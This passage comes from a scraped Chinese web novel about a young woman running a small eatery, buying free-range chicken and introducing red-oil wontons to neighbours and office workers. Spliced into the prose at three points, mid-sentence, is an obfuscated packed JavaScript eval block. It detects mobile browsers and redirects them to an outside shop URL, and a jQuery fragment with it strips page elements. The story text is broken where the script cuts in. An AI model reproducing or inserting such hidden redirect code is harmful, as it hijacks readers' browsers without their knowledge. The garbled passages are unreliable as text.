《御厨的小饭馆[美食]》 7. 第 7 章 一个女生停好车，矫健地翻身下车，动作利索地把鸡笼子提进摊位。 她看起来很年轻，约莫二十出头，高扎着丸子头。 摊主阿姨见状，上前搭把手，还不忘正事：“钟盼你可算来了，那有位顾客要买走地鸡，你先招呼她吧。” 有生意上门，自然不可懈怠。 “稍等。”钟盼对庄凝冬说着，堪堪把最后一个鸡笼挪进来，来不及收拾就问：“买来做什么的？煲汤的话选老母鸡，平常蒸煮的话我给你挑个嫩点的。” 钟盼在说话的时候，庄凝冬也在无声打量着那一笼笼鸡。 它们羽翼光亮丰满，鸡冠红艳，鸡嘴更尖，锐利有光泽，哪怕挤在笼子里，也能看出比饲料鸡更有精神。 不负所望，可算找到品质好的了。 庄凝冬心情也跟着变好，唇角染上笑意：“用来煲汤的。” 钟盼打开一只袋子，将里面的东西拿出来：“这里正好有刚杀好的，你看看要多少？如果大小都不合意，我再给你另外挑。” 砧板上两只鸡，通体紧实，腿部细长色泽清亮，是刚杀好的没错。 大小也适中。 庄凝冬沉思片刻，指了指其中一只：“就这只吧。” “好。” 钟盼手脚麻利地装回袋子，递过去。 庄凝冬走后，又陆续来了一两个顾客，就这么忙活了一阵。 待时间晚点，渐渐过了早市高峰期，他们才略微闲了下来。 旁边的摊主阿姨这才有空来关切道：“怎么了钟盼？今早发生什么事了？今天这么晚才到。” 钟盼垂眸，舀水冲洗掉砧板的血迹，随意一笑：“没事陈姨，只不过一不小心打翻个碗，收拾费了点时间。” “哦哦那就好，还以为你出什么事了，平安就好。” 对方不再说话，钟盼的思绪却被这句话一下子带回了出门前的时刻。 今天清晨，她照常醒来，换了衣服打开房门出去洗漱，准备开启如复制般的一天。 门一开，厨房那边传来动静，钟盼过去一看，才发现她妈妈正在杀鸡。 一个中年妇女，衣着单薄，坐在轮椅上，地上放了个红色的大盆，里面装了只鸡，她正艰难弓着背，手中给鸡拔毛。 “妈？！你不去睡觉怎么杀起鸡来了？”钟盼忙走过去，抢过她手里的鸡放下。 女人有点不知所措，说话声音轻得柔和：“吵醒你啦？” 她那个角度看出去刚好能看到厅里的闹钟，这个节点，正好是钟盼寻常起床的时间。 原来她没把她吵醒。 是她如今行动不便，效率没以前高了，什么忙都帮不上，不然就能在钟盼醒来前把这几只鸡杀好。 “我想帮你减轻点负担来着。” 钟盼被厨房里的残局搞得一个头两个大，却也不忘先将钟母退出客厅，才把那只处理到一半的鸡弄好，收拾好厨房。 重新从厨房出来时，已过去十分钟，往常的时间，她早就出门了。 “妈，你要是真想帮我，就好好照顾你自己，活留着让我来干。”钟盼说完进了卫生间，出来经过钟母身边时，她停了下，“对了妈，跟你商量件事，等喂完这批谷物就用饲料吧。” 市场上现在除了她们家都是饲料鸡，饲料鸡喂养起来成本低，还省时省力，售卖的价格便宜，利润却比卖走地鸡高。 饲料鸡跟走地鸡比起来，最大的区别也不过口感和营养价值，现在生活压力那么大，经济环境又不好，年轻人的精神状态更是疯癫，甚至活都不想活了，在活着都难的情况下，谁还追求高品质生活啊。 这样一来，她们家价格更高的走地鸡便不在人们选择里了。 近段时间来，她们家的生意是越来越差，再继续下去，就要做赔本买卖了。 “不行。”钟母毫不犹豫。 “为什么？”钟盼就不理解了。 “既然我们做了这行，那就要尽我们所能做到最好。” 正好。 钟盼神态略显疲惫，和盘托出：“尽不了了，再这样下去，我们要喝西北风了。” 环境使然，她竞争不过其他低价的饲料鸡，因为喂养成本高，本身也无法降价。 生意上的事她很少跟母亲说，都是报喜不报忧，如今是实在不能任由这种情况发展才坦白。 钟母一时陷入沉默，半晌，她低头开口：“你别管这事了，你还是去大城市找工作吧。” 这句话在钟盼听来无异于“不用管我”，她沉沉呼出一口气：“我走了，然后呢，留你自己一个在这养鸡吗？” 钟母：“你不属于这里。” 她的女儿那么优秀，不应该被困在这里养鸡的，她有更广阔的天空。 都是自己拖累了她。 钟盼真就不明白了，看见母亲这幅样子着实有点生气，话语也也不自觉重了起来：“我就不理解了，喂饲料怎么了？这是什么滔天的罪行吗？有什么不能干的？你现在这个样子，连杀鸡都成困难，还想自己一个人坚持每天散养拿出去卖不成？” 话音一落，察觉钟母瞬间暗淡了的目光，钟盼不自觉看向她的腿，顿时有点于心不忍：“对不起妈，我不是那个意思……” “我 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站在收银台前，何筝回头看了眼张磊，眼神不明意味地在他和谭清莹之间来回流转，压低声音：“你们……” 一看就知道她又想歪了。 谭清莹：“想什么呢？我们昨天才在这认识的，根本都算不上认识，我连他叫什么名字都不知道，就是想着大家都喜欢吃这里的饭才打了声招呼。” 没有瓜吃，何筝肉眼可见的失望。 “行了赶紧点菜吧，”谭清莹朝后厨喊了声，“老板娘，麻烦来两份紫菜炒饭！” 很快，庄凝冬从帘子后出现，脸上神情带有些许歉意：“不好意思啊，紫菜炒饭已经卖完了。” 因为紫菜炒饭销量不怎么好，庄凝冬就没备太多做它的食材，谁知道又意外畅销起来了。 何筝和谭清莹两人齐齐“啊”了声，表情都有点垮。 那旁的张磊听见，接了话：“嚯，原来我这么幸运，竟然买了最后一份，早知道就留给你了，等下次，下次帮你看着。” 先到先得这个道理谭清莹还是懂的，她对张磊说不用，之后又问：“那岂不是只剩番茄土豆烩饭了？” 何筝提不起劲来了，她不爱吃土豆，今天来这就是为了紫菜炒饭，要是吃不上的话，可能就要去别家买东西吃了。 “也不是，”庄凝冬想到后厨里的东西，眉眼弯弯，溢出一点温柔来，“店里准备了新品，你们要尝尝吗？” 8. 第 8 章 “新品？什么新品？我看菜单上没有写啊。”谭清莹奇怪地问。 “是红油抄手，”庄凝冬笑了声，“还没确定好要不要售卖，所以没加上去。” 抄手是华国的一种民间传统面食，发展至今历史悠久，同样是以面皮包裹猪肉馅料，然而根据地方习俗以及做法的不同，又作馄饨、云吞。 “啊！是辣菜！”谭清莹最喜欢吃辣了，她可兴奋：“要要要，给我来一份！” 旁边的何筝轻轻扯了一下她的衣摆，小声道：“你就这么随意？不先问清楚价格吗？” 庄凝冬看出她的防备，也明白那是人之常情：“如果红油抄手正式上新售卖的话，我会定价25元一份，现在看在你们是‘被迫’帮我品尝的份上，25元卖你们两份好了。” 相当于打了五折。 这便宜上哪捡？ 何筝还是犹豫。 她不是不能吃辣，也不是不吃抄手，只是在她看来，抄手这种东西吃的就是原汁原味，当配鲜甜的清汤吃，拌红油，她怎么想都觉得怪怪的。 但接触到谭清莹期待的眼神，想到又是自己让她带自己来的，何筝不太想扫她的兴。 便点了点头，也要了份。 不过她那份喊了打包。 谭清莹问：“你现在不吃吗？” 落了座，确认老板娘听不见，何筝才将自己心中的疑虑道出：“抄手可不就是馄饨嘛？人家吃的就是馄饨及其汤底的一个鲜味，红油这种做法……” 她没说完，不过谭清莹懂了她的意思。 她觉得不正宗。 红油抄手是西南地区那边的特色，何筝不是西南人，想来对这道菜也只是听过没吃过。 长时间处在一个特定的生长环境，对常见食物的做法有了固定的认知，一旦有天接触了认知以外的东西，确实会觉得奇怪。 谭清莹也能理解。 不过她本人是美食爱好者，对各种食物包容性也强，她倒觉得没什么。 好吃不就行了。 她只是简单发表了自己的看法：“嗯……每个地方的饮食习惯不同，口味做法也不一样，各有特色，要论正不正宗的话，那也应该是跟同地方同样做法的一道菜相比吧？这样才有更为准确的评判标准，不然谁都会觉得自己的家乡菜更好吃。” 这么一说，好像也是。 何筝不说话了。 虽然听起来有道理，但一朝一夕的个人口味不会因为一番话改变，她已经做好了回去再重新叫外卖的打算了。 张磊知道谭清莹又点了新品，跟上次一样搭话：“朋友又是你先尝鲜啊，到时候记得再给我反馈哈。” 谭清莹笑着颔首，表示知道了。 没多久，红油抄手被端了上来。 带有蓝白花纹的青花瓷碗里红彤彤一片，红油汤面漂浮着白色的芝麻粒和碎葱花，光看着就足以让人食欲大增。 谭清莹捏起勺子，轻轻搅动。 一阵香喷喷的麻辣味越发浓郁，猛地灌入鼻腔。 “唔……就这股辣香味！太正了！”谭清莹吞了吞口水，忍住没吃，拿起手机给它拍了张照，先发了个朋友圈—— [俗话说来的早不如来的巧，今天去了昨天意外发现的宝藏小店，本来想回味上次那份紫菜炒饭的，谁知道卖光了，然后意外碰上老板娘要上新品，老板娘人特别好，看在我们当了小白鼠(划掉)试吃员的份上，还给我们打了五折！ 是色调非常好看，颜色和香味都特别正的红油抄手！] 下面附带了几张刚拍的红油抄手。 汤面油汪汪的，很有光泽感，特别是那一只只抄手，光这样看都能看出来皮薄馅大，面皮软乎乎地飘在汤里。 一个个圆滚滚的抄手蘸上红油，像乌金西坠时刻，天边那染了橘色霞光的云团。 谭清莹发完朋友圈就立马放下手机，拿起勺子舀了一只抄手放进嘴里。 在美食极致的诱惑下，她现在可没空去看有谁点赞有谁评论。 这份红油抄手是热的。 在高温的刺激下，那股鲜香麻辣被激发得彻底。 咸，麻，辣，鲜组合成的特殊美味一下子占据了口腔中的各个角落。 柔软的面皮一抿即破，里面鲜嫩多汁的肉馅紧实弹牙，和着麻辣的汤，好吃的让人恨不得把舌头都吞下去。 “嘶——烫，不，好辣，不是，又辣又烫！” 哪怕谭清莹考虑到是热的，只咬了一小口，一不小心也被内馅烫到。 何筝看着她急不可耐的模样，不由得提醒：“你小心点，这么急干嘛？又没人跟你抢。” “没办法，实在太香太好吃了，辣得好爽！”谭清莹嘶嘶吸着凉气，缓解着烫，“筝筝你真的不吃吗？很好吃的！保证你会爱上！” 说实话，刚看到这碗红油抄手时，何筝就被那股麻辣味香到了。 很纯正的香味，闻起来也不油腻。 不过何筝还在犹豫，“你先吃吧。” “那好吧。” 谭清莹不管她了，重新沉浸在面前那份红油抄手里。 明明才被辣到烫到，她却依旧等不及，又猛又敷衍地呼呼吹了两口气，就将勺子往嘴里送。 汁水丰盈的肉馅在嘴里炸开的瞬间，味蕾得到了巨大的满足！ 何筝看着谭清莹一个接一个，嘴里都还没咽下去呢，嘴边就有勺子在等着了，根本停不下来。 就这么看着，在视觉和、嗅觉和听觉的刺激下，何筝嘴里开始分泌唾液，肚子先脑子一步做出反应，发出咕噜噜的声响。 “……” 好饿，好想吃。 这就是看吃播的感觉吗？ 还是现场直播。 何筝咂咂嘴，最终还是扯过一旁的包装袋…… 颜色红得深，她不确定辣度是否在自己的接受范围，就先用勺子舀了一点点汤汁抿了一小口。 辣辣的，细品还有一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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食客的反馈是正向的，庄凝冬的情绪价值也得到满足，她开心地答应：“好，我马上写到菜单上。” 谭清莹没忘张磊的话，她冲他竖起了大拇指：“好吃，可闭眼入！” 张磊：“OK！都听到了！” 外面还在下雨，谭清莹和何筝在店里等雨停。 谭清莹拿起手机点着红点。 她人缘不错，朋友很多，就这一会儿的时间，刚刚那条朋友圈已经多了很多的点赞和评论。 几乎都是清一色的夸夸，夸她拍的好看，夸这个菜看起来好吃，还有问她店铺地址的。 谭清莹心情很好地一一回复，直到看到下面某个人的评论时，唇角便一下子耷拉了下来。 9. 第 9 章 “怎么了？”发现谭清莹一瞬间变了脸色，何筝猜测道：“又有急需处理的工作？” “不是，比那更烦人，”谭清莹说，也许是真觉得烦，她还翻了个白眼，“刚发了条朋友圈，那个王军来评论了。” 何筝立马拿出手机看。 王军是她们的共同好友，只见他在底下说—— [去哪吃了？竟然不带上我？！不过你吃的这个东西颜色好看的有点过了，你是不是p过了？如果没p过的话这色泽是不正常的，百分百是高科技与狠活，还是少吃吧。] 何筝终于明白她为什么这么无语了，她也没忍住骂了声：“……神经。” 那一段话真是槽多无口。 王军是他们的同事，前不久刚来的，年纪比他们稍大，平日里最喜欢说教，明眼人都能看出来他对谭清莹有意思，经常凑到她跟前刷存在感。 要不是看在大家都是同事的份上，谭清莹早就把他拉黑了。 “诶，我记得当时他刚来的时候，你是不是给他分过零食吗？好像那以后他就老在你面前出现了……他不会误会了什么吧？” “哎呀谁让他的工位附近有我们熟悉的人，其他人都有那总不能带头孤立新人吧，我要知道他是这种人我就不会给了，唉别说了，蛮晦气的。” “所以说对陌生男人还是得冷漠些，你看看你……”何筝说着看了眼张磊，意味明显。 “你以为谁都跟那个王军一样啊？”谭清莹扫了眼外面，淅淅沥沥的雨停了，被冲刷过的叶子涣散出一种更亮的绿，她挽着何筝起身，“雨停了，咱们赶紧走吧。” “你信不信等会回到去那个王军又要凑到跟前哔哔赖赖了？” “……” 不出何筝所料，两人才踏入办公室的门，王军就端着杯水从茶水间走了过来。 “回来了？” 谭清莹没搭理他，径直朝自己工位走去。 但王军就跟看不懂脸色一样，也悠悠跟上，恍然不觉的说：“话说你刚刚那条朋友圈，我评论你了，你怎么没回我？没看见吗？不过也没什么，我就是问问你那照片是不是p过了，p过了的话还好，要是没p……” 受不了他的絮絮叨叨，谭清莹堵着一口气，停下脚步猛地转身打断他：“不用问了没p过！人家打开门大大方方做生意，制作过程全都能看到，没有什么科技与狠活，人家就是这么厉害不仅能把食物做的这么好看还非常好吃，你还想说什么？” “别那么激动嘛，你是不是还在气我那天帮陈红装水没帮你装？”王军显然没把她的话放心上，反而来劲了，自说自话：“所以才说没p过？别骗我了，正常做出来的就不可能有那么光亮的色泽，行了别生气了，以后少点吃那些东西，等我有空了，再带你去吃别的好吃的。” 他说完就走了。 徒留满脸问号的谭清莹，这都什么跟什么啊？ “不是，他有病吧？” 别说谭清莹了，何筝在一旁听着都气到无语。 果然人不要脸天下无敌。 他是怎么做到短短几句话集普信，爹味，画饼于一身的？ 而且这话也太容易引人深思了，要不是她清楚谭清莹的为人，她都要以为他们俩谈了。 “傻逼，”何筝也帮腔骂，怒得对着他的后背竖了个中指，“我那份红油抄手就应该提回来再吃！！没p过就是没p过啊，贴着他的脸开大我看他有什么好说的。” “下次，等下次我们打包回来吃，香死他！！” * 考虑到奶奶现在的身体不适合吃辣，庄凝冬将旁边托盘上剩余的抄手倒入锅中，打算做个清汤口味。 刚包好的抄手两头尖尖，像一艘艘小船，在咕噜冒着泡的水中咕咚几下，沉了。 面皮肉眼可见的变得透明起来，隐约可见里头粉粉的肉馅。 心里算着的时间，等时间一到，庄凝冬一把将它们捞起来，倒入提前撒好紫菜和虾米的碗里，再舀入熬好的高汤。 干碎的紫菜迅速绽开，犹如丝绸在水中荡漾开。 一阵虾米的咸香随之涌入鼻腔。 高汤是用老母鸡和猪筒骨熬的。 散养走地鸡就是不一样，肉质健壮紧实，鸡的鲜味醇香浓厚。 很补，刚好可以帮奶奶恢复身体。 庄凝冬打算改天继续去那个摊子买老母鸡。 午间，奶孙两人坐在餐桌上吃着午餐。 奶奶看了眼自己的清澈汤水，又看了眼庄凝冬那碗红油汤，跟个小孩子一样问：“怎么你那碗是辣的？我也想吃辣的。” 没想到奶奶还是个喜欢吃辣的馋虫，庄凝冬有点无奈：“您现在身体还没好呢，医生说得清淡饮食。” 奶奶不作声。 庄凝冬继续哄道：“等你身体好了以后再吃好不好？” 奶奶总算点头：“好吧，反正凝冬手艺好，清汤的也好吃。” 初春的雨下下停停，落在植物上的声音清脆好听，似带有无尽的生命力。 庄凝冬伴着这样的白噪音入睡。 醒来时雨已经停了，她打开窗户，一阵雨后清新的空气，目光所及的街景焕然一新。 离傍晚营业还有一段时间，庄凝冬拿出书看了一会儿，突然想起什么，摸过手机打开网购软件，搜索定制牌匾。 虽然她现在经济不是特别宽裕，但到时候正式开业总归还是要一块像模像样的招牌。 那可是作为门面的存在。 还得找块好一点的木，字也要漂亮点的。 见她挑的认真，奶奶醒来后也没打扰她，只是拿起庄凝冬的水杯准备给她倒杯水。 她下意识往水池子一倒，空空如也。 杯子里没剩下水。 奶奶瞅了眼庄凝冬，若无其事地拿起水壶往里倒了水。 杯子轻轻搁到跟前，庄凝冬才从屏幕前抬头：“奶奶你醒啦？让我自己来就好了。” “倒水又不是什么费力活，整天这不让我干那不让我干的，小心把我养废咯。”奶奶笑。 “怎么会。” 庄凝冬喝了一口水，暖暖的，温度刚刚好。 奶孙俩坐在一块，庄凝冬把准备购置牌匾的事跟奶奶提了嘴，也顺势把挑好的那几样给奶奶看，询问她的意见。 奶奶看的仔细，给出的提议认真，也尊重庄凝冬：“奶奶觉得，第一块和第三块就挺好看的，木质颜色不会过于老气，又大气，不过还是得按你自己喜欢的来。” 庄凝冬脸上展开笑颜，腔调拖出了撒娇的甜：“好~” 她左右反复对比了一下，挑了第三块下单。 差不多到营业的时间，庄凝冬下楼备菜，奶奶探头看了眼她的杯子。 一杯水被喝得干干净净。 没剩下水。 * 猪肉馅料被搅碎，里头融着葱姜水，可以提鲜。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959538|136747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >庄凝冬拿起小勺子挖了一点肉馅，放在擀好的面皮上，蘸水随手对折一捏，一个元宝状的抄手就诞生了。 前后不过几秒。 外头忽然响起咚咚的敲门声。 “凝冬丫头在家不？” 庄凝冬仔细听了一会儿，脑中的记忆提醒她：那是李奶奶的声音。 “来了！！” 庄凝冬忙放下手中的活，擦干净手就去开门。 李奶奶端着一个大城市里少见的竹簸箕，上方装着好些大大小小的细长水笋。 庄凝冬笑着朝她问了声好，随后问：“这是……？” “我一个朋友刚从山上扯的，新鲜着呢，他给我送了一堆，我跟老爷子两个人又吃不了那么多，想到你开店就给你送来了。”李奶奶知道她对食材品质要求高，打着包票，“放心吧，这几天都有雨，笋嫩得很。” 除了根部的一截白，水笋其他地方呈现出一种竹绿到棕红的渐变。 看着水灵灵的，还有股湿润泥土的气息。 老人家热情，自是推脱不过。 但庄凝冬也不想白受人家好意，如果没记错的话，她还欠着李奶奶一家的钱呢，就更不好意思了。 庄凝冬接过，笑眯眯的问了一句：“您能吃辣不？” 李奶奶身体健康，平时还会吃冰棒呢：“能，当然能啦，怎么了？” “那麻烦您稍等。” 庄凝冬说完，就端着一簸箕的水竹笋回了厨房，手脚麻利地煮了两人份的红油抄手，用盒子装好拿出去。 “李奶奶，这是我准备上新的菜式，麻烦您帮我尝尝，有什么不足的地方记得提醒我改进。” “好好好，多少钱一份？”李奶奶正要掏钱。 庄凝冬忙阻止：“您送了我那么多水笋，这顿当我给你的感谢礼好了。” 见此，李奶奶不再坚持。 拎着袋子回到家，李爷爷正在后院拿着水壶浇花。 花瓣盛放，鲜艳欲滴，红粉白等颜色拥簇着，是独属于院子里的春天。 旁边一角有个水泥砌成的小水池，里面一座假山，上方一个小玉球滚动，有涓涓细水流动着，几条锦鲤在池子里游的欢快。 听见李奶奶回来的声音，李爷爷收好水壶往屋子里走，颇为期待的问：“咱今天晚上吃什么？” “不用煮了，凝冬丫头给咱送了晚饭。”说到这，李奶奶才恍然想起重要的事，“对的，凝冬丫头送的抄手是辣的，你不能吃，你自个煮个粥去吧。” 李爷爷有胃病，不能吃辣。 李奶奶刚刚也不知道庄凝冬为什么突然问她能不能吃辣。 她要知道是为了给他们准备晚饭，那她可就说明李爷爷的情况了呀。 还不用浪费食物。 庄凝冬连带李爷爷那份也一起准备了，一共给了两碗。 她一个人也吃不了那么多。 被遗忘和忽视，李爷爷有点小脾气：“哼！自己煮就自己煮！” “嘿！”李奶奶才不管呢，她又不是故意的。 正好也饿了，赶紧尝尝凝冬丫头的手艺。她坐在餐桌前打开庄凝冬给的抄手。 一阵霸道的麻辣香蹿出来，肆意地刺激着嗅觉。 连厨房里正在淘米的李爷爷都被香到，连忙赶出来：“什么东西这么香？！” 定睛一看，正是李奶奶从庄凝冬那带回来的红油抄手。 李爷爷：“！！！” 10. 第 10 章 汤面红汪汪的，那一只只均匀裹上橘红辣椒油的抄手皮薄馅大。 李奶奶立马舀了一只吃起来。 舌尖先是触碰到了一点辣，随后能感受到面皮的轻软和滑溜，咬下去能感受到柔中带韧。 “好东西！香的嘞！”李奶奶被味道惊艳住：“这个面皮是凝冬丫头自己擀的吧，比外面买的要好吃。” 老人家吃了几十年，像猪肉鸡肉这种常见食材，他们一吃就知道新不新鲜。 像里面包着的肉馅，肉质紧实弹牙，溢出来的汁水丰盈鲜香，一看就知道是用新鲜猪肉做的。 甚至连红汤中有鸡汤的味道李奶奶也能尝出来。 “看上去是一份常见的红油抄手，但里面该有的工序可是一道不落啊，每一环节都精心对待，凝冬丫头真是用心了。” 李奶奶吃着吃着感叹起来。 她是吃的爽了，却没发现一旁的李爷爷已经坐了过来，甚至被馋的垂涎三尺。 “老婆子，这份抄手是不是特别好吃？” “是啊，这真的算得上是我这辈子吃过最好吃的抄手了。” 李爷爷眼睛一转：“如果吃不上的话是不是这辈子最大的遗憾？” “是啊，人有时候活着就是为了这一口吃的。” “我同意，所以你也觉得我不应该留遗憾是不是？” “不是。”李奶奶不上当。 “……” 算计不了，那就只能软磨硬泡了。 “你就让我吃点吧老婆子！我胃病都那么久不犯了，吃一丁点也不碍事。” 李奶奶当听不见。 李爷爷开始动之以情，晓之以理：“如果换作是你，在这么香的刺激下，你能忍住不吃吗？” 当然不能。 李奶奶开始犹豫。 “这样吧老婆子，你今天让我吃一点，我晚上就陪你出去跳广场舞！” “真的？” “真的。” 李奶奶让步谈条件：“要跳够一周。” 李爷爷爽快：“没问题！” “先说好，你等会吃了要是觉得辣，胃难受的话，可得马上停下来啊。” “好说好说。” 得到允许，李爷爷迅速吃了一只。 随着吞咽的动作，那道香辣便从嘴巴蔓延过食道，最终到达胃里，带出一点麻麻的感觉，划出一道清晰的路径。 李爷爷浅尝了一下，又等了一会儿，想象中的胃疼并没有如期而至。 “胃好像没有什么不适感啊。” 这股麻辣虽然闻起来浓郁强烈，但吃起来并不刺激，反而是那种温和的香辣，在所经过的地方留下悠长的余韵。 李奶奶也发现了，她一口气吃了一大半，却一点都没有被呛到。 要不是她现在吃过，可真要当老头子在放屁了。哪有辣不刺激的？ 李爷爷见李奶奶不作声，自然是知道她也赞同他的说法了，这才继续吃。 抄手的肉馅弹牙又滑嫩，跟他们自己做的又老又柴的蒸瘦肉完全不一样，好吃极了。 “没想到凝冬丫头藏着掖着这么久，我们竟然才知道她有这副好手艺。”李爷爷说着，吃了一个又一个。 “是啊，当初听老陈说她要继续开店时，我还担心她做不下去呢，现在看来，可就没必要操这份心咯。” 李奶奶注意到他的动作，皱了下眉。 “现在该担心的，是咱们应当趁还不是很多人知道她家店时多点去帮衬，要不然以咱们这一身老骨头，以后哪里抢的过？” 李爷爷瞟了眼李奶奶，手下不动声色，想趁着谈话时神不知鬼不觉地多吃点。 “什么多帮衬？我看你就是想多吃辣的！”李奶奶一眼看到他的小动作，哪怕这辣再温和，那它也是带刺激性的，她拍了下李爷爷的手，阻止道：“你不许再吃了！” 已经够多了，适可而止。 两份红油抄手，李奶奶，那份已经吃完，李爷爷那份子还剩一大半。 李爷爷眼巴巴的，疯狂暗示：“这还剩那么多呢……” 李奶奶当听不懂：“我吃，我还没饱呢。” 难得遇到这么好吃的，才不要浪费。 也是这时李奶奶才意识到，原来自己的胃口这么大。 “……” 李爷爷被馋得左右不得劲。 他暗暗想着，等下次，他要自己偷偷去吃！ * 不知道是因为作为店里唯一一道辣菜，还是唯一一道荤菜，红油炒手十分受人欢迎。 才上新，它的销售速度比前两道菜都要快。 开店营业没多久，店里迎来了一个熟面孔。 庄凝冬刚好端着一碗做好的红油抄手到小窗口那，待顾客接过，她一眼看见了站在那看菜单的梁爷爷。 “梁爷爷！”庄凝冬热络地打着招呼，“怎么就你一个？梁奶奶呢？” “她约她那群小姐妹吃饭去了，留我一个人在家，可狠心，”梁爷爷说，“我自己一个人又不想做饭，就来了。” “好，那您想吃点什么？” 梁爷爷作沉思状，似乎陷入了纠结。 乍一看这个定价，是比市价高的。 他倒不是想要节省自己那三瓜两枣，而是担忧小姑娘家家的做生意本来就难，价格还高，这不摆着将生意往别人那送嘛？ 不过老陈说了，丫头手艺一顶一的好，不用担心。 “诶！容我再想想。”梁爷爷应道。 番茄土豆烩饭和紫菜炒饭都是素菜，他又是无肉不欢的，必是不会点的。 可那红油抄手又是辣的，在吃辣这方面，他是菜鸟级别。 但眼下来都来了，别无选择。 “那就给爷爷来一份红油抄手吧。”梁爷爷说，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959539|136747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别放太辣啊，爷爷吃不了太辣。” 庄凝冬诶了声：“放心吧梁爷爷。” “18块是吧？” 老人家不咋用电子支付，梁爷爷从裤袋摸出了一个塑料袋子，里头装着零钱和老人机。 庄凝冬连忙阻止：“梁爷爷不用给，上次说好要请您吃饭的。” 梁爷爷不是不清楚庄凝冬家里的情况，哪好意思吃白食？ “那都是我逗你玩的。” “那我也答应了不是？总得说话算话，这顿就先别给了。” 见她坚持，梁爷爷也不执着了：“行，那下次你可就得收了啊。” 没等多久，庄凝冬用托盘端着一个碗出来：“梁爷爷慢点吃。” “好嘞！” 汤面色泽红亮亮的，飘出又辣又麻的香味，梁爷爷立马拿起勺子。 面皮滑溜，他又吃得有点急，咕咚一下，跟猪八戒吃人参果似的，都没品着什么味呢，抄手就到了胃里。 不过还好不是很烫，就怕辣的呛。 但想象中的咳嗽并没有到来，梁爷爷顿了下，心道这辣椒油可真神奇，竟然不呛喉。 “也不知道这辣椒油是怎么做的。”梁爷爷嘀咕着。 这个辣度特别符合梁爷爷的口味，他大快朵颐起来，馅料的汁水有种独属于鲜肉的香，又嫩又弹牙，裹着辣椒油，辣辣的。 梁爷爷头一次吃得这么过瘾，满嘴流油。 “难怪老陈说放一百个心，有这安身立命的本钱，确实是不用愁生意咯。” 梁爷爷把最后一个抄手吃完，这才抬起头来。 他摸着肚子打了个饱嗝，看向门外，这才注意到庄凝冬不知道什么时候从后厨出了去，正弯腰摸着旺财的狗头。 旺财跟着梁爷爷过来串门，很听话地端坐在门口，吐着舌头，像一个守护神。 “我不知道你也过来，这顿就先将就着吧。”庄凝冬看着碗里切碎的胡萝卜，以及夹杂在其中、仔细找才能找到的一点鸡心碎，那是她刚为旺财做好的饭。 庄凝冬轻抚它的头，哄道：“等下次再多给你点肉。” 也不知道它听进去了没，汪了讲声后总归是低头吃上了。 “丫头下次不用管它，”梁爷爷走出来，“它最近老是趁我不注意，偷偷去别人家串门讨吃的，都长膘了，还当我不知道呢。” 许是被发现，旺财有点心虚地发出一点又闷又低的声音。 庄凝冬被逗笑。 送走梁爷爷，店里又陆陆续续来了几位客人，庄凝冬招待着，等夜色降临，过了用餐高峰期，便没什么人了。 庄凝冬把门关上，收拾着卫生，她注意到角落那一簸箕水笋。 水笋刚扯下来，被雨水滋润着生长，嫩得脆，放久了就不好吃了。 她正思忖着这么多水笋该做成什么菜式时，脑中灵光一闪。 有了！ 11. 第 11 章 就做手剥笋吧！ 香香辣辣的，清脆爽口又开胃。 下雨天泥土多，庄凝冬把那一簸箕水笋清洗了好几遍才彻底洗干净。 水洗过的笋壳颜色更加明亮，看着脆生生的。 庄凝冬耐心地拿起笋，剥着下两节外衣，露出里头鲜亮的绿白笋肉，鼻尖似嗅到一股春生的气息。 细长的笋切掉下两节和笋尖，倒入水里加入盐煮十多分钟，再捞出来过一遍凉水去除草酸。 一根根笋子在不锈钢大盆的冷水浸泡时，庄凝冬趁着这个时间起锅调了个卤汤。 干辣椒花椒、八角桂皮香叶等香料一经翻炒就散发出诱人的味道。 卤汤调好，庄凝冬把笋子捞出放入，又盖盖煮了一会儿才把它们转移到一个又大又深的容器中装着。 刚煮好还不够入味，等放一晚上估计就差不多了。 庄凝冬考虑的很全面，想到奶奶不适合吃辛辣刺激的手剥笋，她提前拿出一些切成片混着肉片翻炒。 春日食春笋。 笋肉新鲜脆嫩，咀嚼中咔吱咔吱的，声音悦耳，嘴巴里满是竹笋的清香。 晚饭过后，外面没下雨。 庄凝冬挽着奶奶出去散了会儿步。 当时爷爷走的突然，奶奶难以承受这个突如其来的晴天霹雳才晕了过去。 现如今有了庄凝冬的陪伴和仔细照料，大概也有她自己逐渐接受了爱人已离去，不妨活在当下的功劳。 人固有一死，爱人已陪她走过几十余载到了尽头，伤春悲秋不是办法，更应当珍惜眼下时光。 想开后，奶奶每天的心情稳定了不少，身体也在慢慢恢复，走路的步伐也更稳健了。 次日清晨，庄凝冬再次去了钟盼那个摊子。 红油抄手受欢迎，她打算多做点量，做高汤底用到了老母鸡也要多买。 昨天才见过面，钟盼对她有印象，也挺关照她，找的都是品质更好的鸡。 付过钱，庄凝冬把买的几只鸡放在够菜的小推车里。 这小推车是家里留下的，以前爷爷奶奶就经常推着它出来采购做早餐需要的食材。 如今要买的食材多了，庄凝冬为了省点力气，就拿出来用了。 